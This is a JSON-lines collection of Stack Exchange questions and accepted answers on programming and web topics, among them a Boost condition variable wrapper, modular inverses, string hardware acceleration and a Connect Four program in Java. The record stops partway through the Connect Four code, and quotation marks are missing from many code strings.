{  "id": "_codereview.96927"  , "question": "I would like to create a wrapper for a Boost conditional variable:class Cond_wrap{private:    boost::condition_variable cond;    boost::mutex              mutex;    bool work_to_do;public:    Cond_wrap()    {        work_to_do = false;     }    void notify_all()    {        boost::mutex::scoped_lock lock(mutex);        work_to_do = true;        cond.notify_all();    }    void wait()    {        boost::mutex::scoped_lock lock(mutex);        while(!work_to_do)        {            cond.wait(lock);            work_to_do = false;        }    }    bool timed_wait(unsigned int timeout)    {        boost::mutex::scoped_lock lock(mutex);        if(!work_to_do)        {            if(cond.timed_wait(lock, boost::chrono::milliseonds(timeout)))            {                work_to_do = false;                return true;            }            else            {                return false;            }        }        else        {            return false;        }};Cond_wrap condition_wrap;void worker_func(){    {        condition_wrap.notify_all();    }    std::cout << After notify << std::endl;}int main(){    boost::thread work(worker_func);    work.detach();    {        boost::this_thread::sleep_for(boost::chrono::milliseonds(500));        condition_wrap.wait();        //there is work to do    }    return 0;}What is the main goal of that wrapper? I would like to avoid a situation in which a condition will be notified before I call waiter. Regarding this, I want to provide a help variable bool which should remember if a condition was previously set.Small example of what I mean:boost::condition_variable cond;boost::mutex              mutex;void worker_func(){    cond.notify_all();    std::cout << After notify << std::endl;}void main(){    boost::mutex::soped_lock lock(mutex);    boost::thread work(worker_func);    boost::this_thread::sleep_for(boost::chrono::milliseonds(500));    cond.wait(lock); // here is deadlock}The wrapper is also provides an easier way of using a Boost conditional variable."  , "title": "Boost condition variable wrapper"  , "tags": "c++;boost;synchronization"  , "accepted_answer": "The short answer here is: don't do this. It does not make boost::condition_variable easier to use. You're actually just limiting what you can do with it. You're not even exposing the entire interface... But if you insist on doing such a thing, your wrapper is close. You're not handling spurious wakeup in timed_wait() - that can return true even without being signaled. You should just take advantage of the fact that the various wait() overloads also take a predicate:void wait(){    boost::mutex::unique_lock lock(mutex);    cond.wait(lock, [this]{ return work_to_do; });    work_to_do = false;}bool timed_wait(unsigned int timeout){    boost::mutex::unique_lock lock(mutex);    if (cond.timed_wait(lock, boost::chrono::milliseconds(timeout),                        [this]{ return work_to_do; })    {        work_to_do = false;        return true;    }    else    {        return false;    }}Really adding predicates is the way to handle calling wait() after the notify was called. The wrapper is not a good solution to this in my opinion. "  } 
{  "id": "_webapps.13664"  , "question": "On Youtube's browse page I am shown the most viewed videos in my country. Even if I change my country in the settings, it will still show the same results.I would like to see the most viewed videos of each category without the location bias."  , "title": "How to browse videos on Youtube without location bias?"  , "tags": "youtube"  } 
{  "id": "_codereview.92919"  , "question": "Things to deal with this problem.An infinite Arithmetic progression.A prime number. - p.The starting number of an Arithmetic Progression. - a.Common difference in the arithmetic progression given to him. - d.You have to print the first index  of a number in that Arithmetic Progression, which is a multiple of the  given prime number, p.Input format: The first line contains a number, tc, denoting the  number of test cases. After that follow tc number of test cases, each is 2 lines - the first contains two integers, a and d -  a depicts the first term in the AP, d depicts the common difference.  The next line contains the prime number.Output format: You have to print the FIRST index (0-based) of the  multiple of the given prime number in the given AP. If no such element  exists in this infinite AP, then print -1.Constraints: 0 <= a, d, <= 10^18 1 <= p <= 10^9My code: public static void main(String[] args) throws NumberFormatException, IOException{StringBuilder output = new StringBuilder();        BufferedReader reader= new BufferedReader(new InputStreamReader(System.in));            int noOfTestCaseT=Integer.parseInt(reader.readLine().trim());            while (noOfTestCaseT != 0){                noOfTestCaseT--;                String[] inputAandD = reader.readLine().split( );                long firstElement = Long.parseLong(inputAandD[0].trim());                long commonDifference = Long.parseLong(inputAandD[1].trim());                long primeNo = Long.parseLong(reader.readLine().trim());                firstElement %= primeNo;                commonDifference %= primeNo;                int result = 0;                if(commonDifference == 0) output.append(-1);                else if (firstElement == 0) output.append(0);                else{                    long inverseMod =  getPowerValue(commonDifference, primeNo);                    result = (int) ((inverseMod * (primeNo-firstElement)) % primeNo) ;                    output.append(result);                }                output.append(\\n);            }            System.out.println(output);    }    private static long getPowerValue(long base, long primeNo) {        long exp = primeNo -2;        long powerResult = 1;        while (exp > 0){            if ((exp & 1) == 1) powerResult = (powerResult * base) % primeNo;            base = (base * base) % primeNo;            exp = exp >> 1 ;        }        return powerResult;    }How could I can optimize this code further so that its performance improves (though the solution is within the given time limit and I really want to know what are the possible improvement I can make)?"  , "title": "First index of number in the arithmetic progression (which is multiple of prime)"  , "tags": "java;performance;programming challenge"  , "accepted_answer": "Time elapsed is almost all in overheadI'm not sure you can do any better than what you've done.  I tested your program and it ran extremely fast.  In fact, I determined that most of the time was probably being spent bringing up the JVM.  I ran your program with varying test inputs (up to 100000 test case input), and also ran your program without computing the result (just reading the input and outputting one number per test case).  The timings showed that most of the time was being spent just bringing up the JVM (or some other Java related overhead):100000 test case (times are in seconds)0.14: bringing up the JVM0.19: parsing the input and generating output0.12: calculating the answer0.45: total time100 test case0.14: bringing up the JVM0.02: parsing the input and generating output0.01: calculating the answer0.17: total timeSo I believe that your actual algorithm runs for about 0.01 seconds out of 0.17 total time.C program was faster (less overhead?)I converted your program to C and tested it to see if it would run any faster.  It did run faster, probably because of the lack of overhead:100000 test case (C program)0.29: total time100 test case (C program)0.01: total timeHere is the C program, just to show you that it is exactly the same as your java program:#include <stdio.h>static long long getPowerValue(long long base, long long primeNo);int main(void){    int noOfTestCaseT = 0;    long long firstElement, commonDifference, primeNo;    scanf(%d, &noOfTestCaseT);    while (noOfTestCaseT != 0){        noOfTestCaseT--;        scanf(%lld %lld %lld, &firstElement, &commonDifference, &primeNo);        firstElement %= primeNo;        commonDifference %= primeNo;        if(commonDifference == 0) puts(-1\\n);        else if (firstElement == 0) puts(0\\n);        else {            long long inverseMod = getPowerValue(commonDifference, primeNo);            int result = (int) ((inverseMod * (primeNo-firstElement))%primeNo);            printf(%d\\n, result);        }    }    return 0;}static long long getPowerValue(long long base, long long primeNo){    long long exp = primeNo -2;    long long powerResult = 1;    while (exp > 0){        if ((exp & 1) == 1) powerResult = (powerResult * base) % primeNo;        base = (base * base) % primeNo;        exp = exp >> 1 ;    }    return powerResult;}A slightly faster inverse mod functionFrom wikipedia, I copied this algorithm for finding the inverse mod.  Supposedly, it is slightly faster than the algorithm you are using.  Using the 100000 test case input, I found that it was a little bit faster, but not by much (maybe 10% faster).  Here is the function (it replaces your getPowerValue function):private static long inverse(long a, long n){    long t    = 0;    long newt = 1;    long r    = n;    long newr = a;    while (newr != 0) {        long quotient = r / newr;        long tmp;        tmp  = newt;        newt = t - quotient * newt;        t    = tmp;        tmp  = newr;        newr = r - quotient * newr;        r    = tmp;    }    if (t < 0)        t += n;    return t;}"  } 
{  "id": "_softwareengineering.231871"  , "question": "Can you recommend a nice way of checking a particular value between calls to a set of functions?E.g. something like this in Python (might not be terribly 'Pythonic'):self.error_code    = 0 # this will be set by each function if an error has occurredself.function_list = [self.foo, self.bar, self.qux, self.wobble]...def execute_all(self):    while not self.error_code and self.function_list:        func = self.function_list.pop() # get each function        func(error_code) # call it    if self.error_code:        # do somethingThe idea is that subsequent functions won't be called if self.error_code is set and all functions will be called in order if all is good.Anyone can think of a better alternative to that in Python or maybe a language-agnostic approach?I want to avoid having that code in each function call (e.g. if self.error code: return) so that I don't end up with the same check across all functions."  , "title": "Check some value between each function call"  , "tags": "python;coding style;error handling;method chaining"  } 
{  "id": "_webmaster.100464"  , "question": "I went into adsense today with my usual opera browser. Things were good until I saw this new blue pop-up with a white box that showed take a look. I clicked on it and it showed a new page with an error message in the background and in the foreground an orange box. I switched to firefox, and more things came up but the side panel contained no text. Now I want to revert to the old adsense so I can access all my settings without trying to figure out each word.Is there a way to revert it?"  , "title": "How to revert to old google adsense interface"  , "tags": "google adsense"  , "accepted_answer": "For now it is possible to revert.   Click on the hamburger menu (top left) and then  at the bottom of the menu there is Back to previous AdSense.  At some point Google will force you to use the new only.Google designed the new AdSense interface according to material design principles.  On the plus side, the new interface is much better on mobile devices. I like the feature on the home page where you can hide the info you don't want to see on a daily basis.I don't like several things about it:  They recently change the homepage numbers to be like 8.19K impressions which I find hard to digest.   They also took away the 28 day comparison which is the thing I look at most frequently."  } 
{  "id": "_softwareengineering.304357"  , "question": "I'm planning to open source an Android app that I developed against the API of a (small regional) social network.This app is the 'official' version for the website and thus allowed to use the logo and name of the website.I plan to open source it under the GPL, but:I cannot put the logo or name under the GPL (I don't own the rights)I  plan to integrate icons from the Android Material Design Icon library (Creative Commons)Is there any proper way to do this while keeping everything in a single repository on Github?(Given that the app is free I can't exactly consult a lawyer.)"  , "title": "Integrate non-free (with permission) / differently licenced logos in GPL repository"  , "tags": "licensing;open source;gpl;android;creative commons"  } 
{  "id": "_softwareengineering.72740"  , "question": "This is a sister question to: Is it bad to use Unicode characters in variable names?As is my wont, I'm working on a language project. The thought came to me that allowing multi-token identifiers might improve both readability and writability:primary controller = new Data Interaction Controller();# vs.primary_controller = new DataInteractionController();And whether or not you think that's a good idea*, it got me musing about how permissive a language ought to be about identifiers, and how much value there is in being so.It's obvious that allowing characters outside the usual [0-9A-Za-z_] has some advantages in terms of writability, readability, and proximity to the domain, but also that it can create maintenance nightmares. There seems to be a consensus (or at least a trend) that English is the language of programming. Does a Chinese programmer really need to be writing  when email_address is the international preference?I hate to be Anglocentric when it comes to Unicode, or a stickler when it comes to other identifier restrictions, but is it really worth it to allow crazy variable names?tl;dr: Is the cost of laxity higher than the potential benefit?Why or why not? What experiences and evidence can you share in favour of or opposed to relaxed restrictions? Where do you think is the ideal on the continuum?* My argument in favour of allowing multi-token identifiers is that it introduces more sane points to break long lines of code, while still allowing names to be descriptive, and avoiding ExcessiveCamelCase and a_whole_lot_of_underscores, both of which are detrimental to readability."  , "title": "How permissive should a language be about identifiers?"  , "tags": "programming languages;language design;naming"  , "accepted_answer": "That's rather hard to say. More permissive grammars are more difficult to parse. Ruby's optional parentheses are a good example of this. The lack of extant languages with this feature may not prove that it's a bad idea, but it doesn't help validate it either. There isn't much else to go on.If you think it's a good idea and it's relatively easy to execute, why not go ahead and do it? That's the only real way to get a definitive answer to questions like this."  } 
{  "id": "_softwareengineering.264910"  , "question": "Graphics processing units (GPUs) are very common and allow for efficient, parallel processing of floating point numbers.PPUs (Physics Processing Units) used to be a buzzword several years ago but never really caught on and this kind of calculation is now handled by GPUs as well.Both of these types of hardware are specialized in the processing of a specific kind of data.Looking at the kinds of applications being developed worldwide, it seems that a great many of them have to do with text processing. Particularly when web development is considered.It seems to me that it would make sense to implement basic string operations (concatenation, reversal, maybe search, character-level operations such as replacement) at hardware level, possibly making those operations orders of magnitude faster than they are when performed on a typical CPU.Does this sort of hardware exist? If it doesn't, what makes it infeasible? Varying length? Arbitrary encoding? I believe these are a bit similar to what we've got in case floating point numbers (varying precision, different encodings possible).I know some vendors sell devices specifically designed to handle text processing/search. The Google Search Appliance is an example thereof but as far as I know, it's just a normal computer with dedicated software and the hardware does not feature anything as exotic as a processor specifically design to crunch text."  , "title": "Hardware accelerated text processing"  , "tags": "hardware;cpu;text processing;gpu"  , "accepted_answer": "(Disclaimer: I don't have information on the percentages of occurrence of various elementary string operations found in common software. The following answer is just my two cents of contribution to address some of your points.)To give a quick example, Intel provides SIMD instructions for accelerating string operations in its SSE 4.2 instruction set (link to wikipedia article). Example of using these instructions to build useful language-level string functions can be found on this website.What do these instructions do?Given a 16-byte string fragment (either 16 counts of 8-bit characters or 8 counts of 16-bit characters), In Equal Each mode, it performs an exact match with another string fragment of same length.In Equal Any mode, it highlights the occurrence of characters which match a small set of characters given by another string. An example is aeiouy, which detects the vowels in English words.In Range comparison mode, it compares each character to one or more character ranges. An example of character range is azAZ, in which the first pair of characters specifies the range of lower-case English alphabets, and the second pair specifies the upper-case alphabets.In Equal ordered mode, it performs a substring search. (All examples above are taken from the above linked website, with some paraphrasing.)Before beginning a discussion on this topic, it is necessary to gather the prerequisite knowledge needed for such discussion.It is assumed that you already have college-level introductory knowledge of:CPU architectureDigital design and synthesis, which teaches introductory level of Hardware Description Language, such as Verilog or VHDL.And finally, a practicum project where you use the above knowledge to build something (say, a simple 16-bit ALU, or a multiplier, or some hardware input string pattern detection logic based on state machine), and perform a cost counting (in logic gates and silicon area) and benchmarking of the things being built.First of all, we must revisit the various schemes for the in-memory representation of strings. This is because the practicum in hardware design should have informed you that a lot of things in hardware had to be hard-wired. Hardware can implement complex logic but the wiring between those logic are hard-wired.My knowledge in this aspect is very little. But just to give a few examples, rope, cord, twine, StringBuffer (StringBuilder) etc. are all legit contenders for the in-memory representation of strings.Even in C++ alone, you still have two choices: implicit-length strings (also known as null-terminated strings), and explicit-length strings (in which the length is stored in a field of the string class, and is updated whenever the string is modified).Finally, in some languages the designer has made the decision of making string objects immutable. That is, if one wish to modify a string, the only way to do so is to:Copy the string and apply the modification on-the-fly, orRefer to substrings (slices) of the original immutable string and declare the modifications that one wish to have applied. The modification isn't actually evaluated until the new result is consumed by some other code.There is also a side question of how strings are allocated in memory.Now you can see that, in software, a lot of wonderful (or crazy) design choices exist. There has been lots of research into how to implement these various choices in hardware. (In fact, this has been a favorite way of formulating a master's thesis for a degree in digital design.)All this is fine, except that due to economic reasons, a hardware vendor cannot justify the cost of supporting a language/library designer's crazy ideas about what a string should be.A hardware vendor typically has full access to every master's thesis written by every student (in digital design) in the world. Thus, a hardware vendor's decision of not including such features must be well-informed.Now let's go back to the very basic, common-sense question: What string operations are among the most-frequently performed in the typical software, and how can they benefit from hardware acceleration?I don't have hard figures, but my guess is that string copying verbatim is probably the #1 operation being performed.Is string copying already accelerated by hardware? It depends on the expected lengths of strings. If the library code knows that it is copying a string of several thousand characters or more, without modification, it could have easily converted the operation into a memcpy, which internally uses CPU SIMD (vectorized instructions) to perform the memory movement.Furthermore, on these new CPU architectures there is the choice of keeping the moved string in CPU cache (for subsequent operations) versus removing it from the CPU cache (to avoid cache pollution).But how often does one need to copy such long strings?It turns out that the standard C++ library had to optimize for the other case:https://stackoverflow.com/questions/21694302/what-are-the-mechanics-of-short-string-optimization-in-libcThat is, strings with lengths in the low-ten's occur with such high frequency that special cases have to be made to minimize the overhead of memory management for these short strings. Go figure."  } 
{  "id": "_softwareengineering.147149"  , "question": "I am recently building a basic ray tracer in C# from scratch, as a learning/teaching project. A previous release of the project (let's call it A) does reflections and diffuse shading. The program renders the scene at around 900ms. Now I've just made a release B which adds specular highlights. Naturally, I assumed rendering time would increase. Imagine my surprise when the same scene rendered in a speedy 120ms! The results are absolutely the same (since the objects in the scene don't actually have specular highlights). Curious, I tried to narrow down what part of the code is actually making it faster. I think I've narrowed it down to a calculation that is made in both the reflection component, and the specular component (calculating the reflection vector). For each iteration of the ray tracing, both calculate the same vector (same inputs, same output), but there is no data sharing between the two. So I was wondering if C# is somehow caching the results which would account for the performance increase?Here's the code for the reflection renderingprivate Color TraceReflection(Ray ray, Vector3D normal, Vector3D hitPoint, IPrimitive hitObject, int Level)    {        //Calculate reflection direction        var reflectionDir = (ray.Direction - (2 * (ray.Direction * normal) * normal)).Normalize();        //Create reflection ray from just outside the intersection point, and trace it        var reflectionRay = new Ray(hitPoint + reflectionDir * Globals.Epsilon, reflectionDir);        //Get the color from the reflection        var reflectionColor = RayTrace(reflectionRay, Level + 1);        //Calculate final color        var resultColor = reflectionColor * hitObject.PrimitiveMaterial.ReflectionCoeff;        return resultColor;    }And here's the specular highlight function:public  Color GetColor(IPrimitive HitObject, ILight Light, Vector3D ViewDirection, Vector3D LightDirection, Vector3D Normal)    {        //Caulcate reflection vector        var reflectionDirection = (LightDirection - (2 * LightDirection * Normal) * Normal).Normalize();        var dot = reflectionDirection * ViewDirection; //if the dot product is zero or less that means the angle between the two vectors is 90 or more and no highlighting occurs.        if (dot > 0)        {            var specularPower = HitObject.PrimitiveMaterial.SpecularCoeff * Math.Pow(dot, HitObject.PrimitiveMaterial.SpecularExponent);            var highlightColor = HitObject.PrimitiveMaterial.DiffuseColor * specularPower;            return highlightColor;        }        return new Color();    }UPDATEThe previous numbers were when both programs were running in debug mode. I just switched them both to release, and the numbers are what I was expecting them to be in the first place (270ms without specular. 380ms with specular). So it seems the debug mode, somehow, is the culprit."  , "title": "Does C# Cache Calculation Results?"  , "tags": "c#;caching"  , "accepted_answer": "It's entirely possible that, in debug mode, the compiler is much more relaxed about when and where it optimizes code - so that your non-specular implementation is compiled as a significantly less optimized executable (since it's not doing that badly), while the specular implementation hits a threshold and is bumped to a slower but more optimized compilation mode."  } 
{  "id": "_webmaster.17880"  , "question": "I know how to do this in an Apache2 config file and my own DNS configuration... But here I'm forced to host the site at Google Apps and the DNS at Goddady.com. What's the easiest way to alias example.com to www.example.com in this situation? I'm sure I need a forwarding mechanism. Without introducing an intermediary Apache server just for this purpose, if at all possible.."  , "title": "When using Google Sites with a Godaddy domain, how do you alias example.com to www.example.com?"  , "tags": "301 redirect;godaddy;google apps;no www"  } 
{  "id": "_webapps.101247"  , "question": "How can I find all Google Docs documents shared with me that I didn't add to My Drive yet?I can do it one by one (right click on a document in Shared With Me folder. If it has Move to My Drive menu option, it wasn't added yet, otherwise it did).But this is slow and inefficient, especially if I have lots of documents shared with me but very few that aren't in My Drive already.Is there an efficient way to filter all Google Docs documents shared with me that I didn't add to My Drive yet?"  , "title": "How can I find all Google Docs documents shared with me that I didn't add to My Drive yet?"  , "tags": "google drive;search"  } 
{  "id": "_codereview.148171"  , "question": "I wrote this program as an assignment for an introductory programming course in Java, which I then decided to improve past the minimum assignment requirements. It allows two human players to play Connect Four. (If you don't know this game, its rules are explained in the code below.)I would appreciate any feedback such as feature suggestions, bug fixes, optimizations, or other improvements!/*ConnectFourby JugheadNovember 27th, 2016This program lets two human players play Connect Four.*/import java.util.Scanner;public class ConnectFour {    public static void main(String[] args) {        int turnAlternator, turnNumber, match, player, player1Wins, player2Wins;        final int NUMBER_OF_ROWS, NUMBER_OF_COLUMNS, MINIMUM_CHAIN_TO_WIN;        String player1GamePiece, player2GamePiece;        boolean gameOver;        String[][] gameBoard;        Object [] gameOverAndPlayer1WinsAndPlayer2Wins; //Object array of following variables: gameOver, player1Wins, and player2Wins.        System.out.println(  ____ ___  _   _ _   _ _____ ____ _____   _____ ___  _   _ ____  \\n / ___/ _ \\\\| \\\\ | | \\\\ | | ____/ ___|_   _| |  ___/ _ \\\\| | | |  _ \\\\ \\n +             | |  | | | |  \\\\| |  \\\\| |  _|| |     | |   | |_ | | | | | | | |_| |\\n| |__| |_| | |\\\\  | |\\\\  | |__| |___  | |   |  _|| |_| | |_| |  _ | \\n +              \\\\____\\\\___/|_| \\\\_|_| \\\\_|_____\\\\____| |_|   |_|   \\\\___/ \\\\___/|_| \\\\_\\\\\\n\\n +             Connect Four is a two-player connection game in which the players\\nfirst choose a colour and then take turns dropping colored discs\\nfrom the top into a seven-column, six-row grid.  +             The pieces fall\\nstraight down, occupying the next available space within the column.\\nThe objective of the game is to connect four of one's own discs of\\nthe same color next to each other vertically, horizontally, or\\ndiagonally before your opponent.\\n); //Intro text.        NUMBER_OF_ROWS = 6;//Number of game board rows.        NUMBER_OF_COLUMNS = 7;//Number of game board columns.        MINIMUM_CHAIN_TO_WIN = 4;//Minimum number of sequential game pieces needed to win.        player1GamePiece = ;//Sets Player 1 game piece.        player2GamePiece = ;//Sets Player 2 game piece.        gameOverAndPlayer1WinsAndPlayer2Wins = new Object[] {false, 0, 0}; //Setting default values for gameOverAndPlayer1WinsAndPlayer2Wins.        gameOver = (boolean)gameOverAndPlayer1WinsAndPlayer2Wins[0];        player1Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[1];        player2Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[2];        outerLoop://Tracks number of matches played.        for (match = 1; ; match++) {            gameBoard = emptyBoard(NUMBER_OF_ROWS, NUMBER_OF_COLUMNS);//Resets game board.            turnNumber = 1;            System.out.println(_____________________________________________\\nMatch:  + match +  | Turn:  + turnNumber + \\n);//Match and turn info.            turnNumber++;            printBoard(gameBoard);//Displays board.            player = startingPlayerTurn(player1Wins, player2Wins);//Decides starting player turn.            for (turnAlternator = player; ; turnAlternator++, turnNumber++) {//Tracks turn number and alternates between player turns.                if (turnAlternator % 2 == 0) {                    player = 2;                }                else {                    player = 1;                }                dropPiece(gameBoard, getColumn(player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece) - 1, player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece);//Drops game piece into selected column.                System.out.println();                System.out.println(_____________________________________________\\nMatch:  + match +  | Turn:  + turnNumber + \\n);//Match and turn info.                printBoard(gameBoard);                gameOverAndPlayer1WinsAndPlayer2Wins = checkForWin(gameBoard, gameOverAndPlayer1WinsAndPlayer2Wins, NUMBER_OF_COLUMNS, MINIMUM_CHAIN_TO_WIN, player1GamePiece, player2GamePiece);//Checks game board for winning conditions.                gameOver = (boolean)gameOverAndPlayer1WinsAndPlayer2Wins[0];//Updates gameOverAndPlayer1WinsAndPlayer2Wins.                player1Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[1];                player2Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[2];                if (gameOver == true) {//If game is over, restarts the match.                    System.out.println(_____________________________________________\\nPlayer 1 wins:  + player1Wins +  | Player 2 wins:  + player2Wins);//Number of times each player has won.                    if (player1Wins >= 10 && player2Wins == 0) {//If Player 2 is brutally losing, ends the game.                        System.out.println(_____________________________________________\\nPlayer 2, you should just give up now...);                        System.exit(0);                    }                    if (player2Wins >= 10 && player1Wins == 0) {//If Player 1 is brutally losing, ends the game.                        System.out.println(_____________________________________________\\nPlayer 1, you should just give up now...);                        System.exit(0);                    }                    gameOver = false;                    gameOverAndPlayer1WinsAndPlayer2Wins[0] = gameOver;                    continue outerLoop;                }            }        }    }    public static String[][] emptyBoard (int NUMBER_OF_ROWS, int NUMBER_OF_COLUMNS) {//Generates empty game board.        int row, column;        String[][] emptyBoard;        for (row = 0, emptyBoard = new String [NUMBER_OF_ROWS][NUMBER_OF_COLUMNS]; row < emptyBoard.length; row++) {            for (column = 0; column < emptyBoard[row].length; column++) {                emptyBoard[row][column] = [ ];            }        }        return emptyBoard;    }    public static void printBoard (String[][] gameBoard) {//Displays game board.        int row, column, columnLabel;        for (row = 0; row < gameBoard.length; row++) {//Prints each game board tile.            for (column = 0; column < gameBoard[row].length; column++) {                System.out.print(gameBoard[row][column]);            }            System.out.println();        }        System.out.print( );        for (columnLabel = 1; columnLabel <= gameBoard[row - 1].length; columnLabel++) {//Adds column labels.            System.out.print(columnLabel +   );        }        System.out.println();    }    public static String[][] dropPiece (String[][] gameBoard, int column, int player, int NUMBER_OF_COLUMNS, String player1GamePiece, String player2GamePiece) {//Drops game piece into selected column.        int row;        outerLoop:        for (row = gameBoard.length - 1; row >= -1; row--) {            if (row < 0) {//If chosen column is full, asks for a different column.                System.out.println(Column  + (column + 1) +  is already full.);                dropPiece(gameBoard, getColumn(player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece) - 1, player, NUMBER_OF_COLUMNS, player1GamePiece, player2GamePiece);                break;            }            if (gameBoard[row][column].equals([ ])) {//Drops game piece into next available row of the selected column.                if (player == 1) {                    gameBoard[row][column] = [ + player1GamePiece + ];                    break outerLoop;                }                if (player == 2) {                    gameBoard[row][column] = [ + player2GamePiece + ];                    break outerLoop;                }            }        }        return gameBoard;    }    public static Object[] checkForWin (String[][] gameBoard, Object [] gameOverAndPlayer1WinsAndPlayer2Wins, int NUMBER_OF_COLUMNS, int MINIMUM_CHAIN_TO_WIN, String player1GamePiece, String player2GamePiece) {//Checks game board for winning conditions.        int row, column, player1MaximumChain, player2MaximumChain, diagonalStartPoint, player1Wins, player2Wins, columnNumber, fullColumns;        boolean gameOver;        gameOver = (boolean)gameOverAndPlayer1WinsAndPlayer2Wins[0];//Updates Object array gameOverAndPlayer1WinsAndPlayer2Wins. Utilizing gameOverAndPlayer1WinsAndPlayer2Wins allows method checkForWin to return multiple data types.        player1Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[1];        player2Wins = (int)gameOverAndPlayer1WinsAndPlayer2Wins[2];        horizontalOuterLoop://Scanning in lines from left to right, checks game board for horizontal chains. Starts checking at top-left and stops checking at bottom-left.        for (row = 0, player1MaximumChain = 1, player2MaximumChain = 1; row < gameBoard.length; row++) {            for (column = 0; column < gameBoard[row].length - 1; column++){                if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row][column + 1].equals([ + player1GamePiece + ])) {                    player1MaximumChain++;                    if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won horizontally.                        player1Wins++;                        System.out.println(\\nPlayer 1 won horizontally!);                        gameOver = true;                        break horizontalOuterLoop;                    }                }                else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row][column + 1].equals([ + player2GamePiece + ])) {                    player2MaximumChain++;                    if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won horizontally.                        player2Wins++;                        System.out.println(\\nPlayer 2 won horizontally!);                        gameOver = true;                        break horizontalOuterLoop;                    }                }                else {                    player1MaximumChain = 1;                    player2MaximumChain = 1;                }            }            player1MaximumChain = 1;            player2MaximumChain = 1;        }        verticalOuterLoop://Scanning in lines from top to bottom, checks game board for vertical chains. Starts checking at top-left and stops checking at top-right.        for (row = 0, column = 0, player1MaximumChain = 1, player2MaximumChain = 1; column < gameBoard[row].length; column++) {            for (row = 0; row < gameBoard.length - 1; row++){                if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column].equals([ + player1GamePiece + ])) {                    player1MaximumChain++;                    if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won vertically.                        player1Wins++;                        System.out.println(\\nPlayer 1 won vertically!);                        gameOver = true;                        break verticalOuterLoop;                    }                }                else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column].equals([ + player2GamePiece + ])) {                    player2MaximumChain++;                    if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won vertically.                        player2Wins++;                        System.out.println(\\nPlayer 2 won vertically!);                        gameOver = true;                        break verticalOuterLoop;                    }                }                else {                    player1MaximumChain = 1;                    player2MaximumChain = 1;                }            }            player1MaximumChain = 1;            player2MaximumChain = 1;        }        diagonalDownRightOuterLoop1://Scanning in lines from top-left to bottom-right, checks game board for diagonal chains. Starts checking at bottom-left and stops checking at top-left.        for (diagonalStartPoint = gameBoard.length - 2, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint >= 0; diagonalStartPoint--) {            for (row = diagonalStartPoint, column = 0; row < gameBoard.length - 1 && column < gameBoard[row].length - 1; row++, column++) {                if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player1GamePiece + ])) {                    player1MaximumChain++;                    if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally.                        player1Wins++;                        System.out.println(\\nPlayer 1 won diagonally!);                        gameOver = true;                        break diagonalDownRightOuterLoop1;                    }                }                else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player2GamePiece + ])) {                    player2MaximumChain++;                    if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won diagonally.                        player2Wins++;                        System.out.println(\\nPlayer 2 won diagonally!);                        gameOver = true;                        break diagonalDownRightOuterLoop1;                    }                }                else {                    player1MaximumChain = 1;                    player2MaximumChain = 1;                }            }            player1MaximumChain = 1;            player2MaximumChain = 1;        }        diagonalDownRightOuterLoop2://Scanning in lines from top-left to bottom-right, checks game board for diagonal chains. Starts checking at top-left and stops checking at top-right.        for (diagonalStartPoint = 1, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint < gameBoard[0].length - 1; diagonalStartPoint++) {            for (row = 0, column = diagonalStartPoint; row < gameBoard.length - 1 && column < gameBoard[row].length - 1; row++, column++) {                if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player1GamePiece + ])) {                    player1MaximumChain++;                    if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally.                        player1Wins++;                        System.out.println(\\nPlayer 1 won diagonally!);                        gameOver = true;                        break diagonalDownRightOuterLoop2;                    }                }                else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column + 1].equals([ + player2GamePiece + ])) {                    player2MaximumChain++;                    if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won diagonally.                        player2Wins++;                        System.out.println(\\nPlayer 2 won diagonally!);                        gameOver = true;                        break diagonalDownRightOuterLoop2;                    }                }                else {                    player1MaximumChain = 1;                    player2MaximumChain = 1;                }            }            player1MaximumChain = 1;            player2MaximumChain = 1;        }        diagonalDownLeftOuterLoop1://Scanning in lines from top-right to bottom-left, checks game board for diagonal chains. Starts checking at bottom-right and stops checking at top-right.        for (diagonalStartPoint = gameBoard.length - 2, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint >= 0; diagonalStartPoint--) {            for (row = diagonalStartPoint, column = gameBoard[row].length - 1; row < gameBoard.length - 1 && column > 0; row++, column--) {                if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player1GamePiece + ])) {                    player1MaximumChain++;                    if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally.                        player1Wins++;                        System.out.println(\\nPlayer 1 won diagonally!);                        gameOver = true;                        break diagonalDownLeftOuterLoop1;                    }                }                else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player2GamePiece + ])) {                    player2MaximumChain++;                    if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won 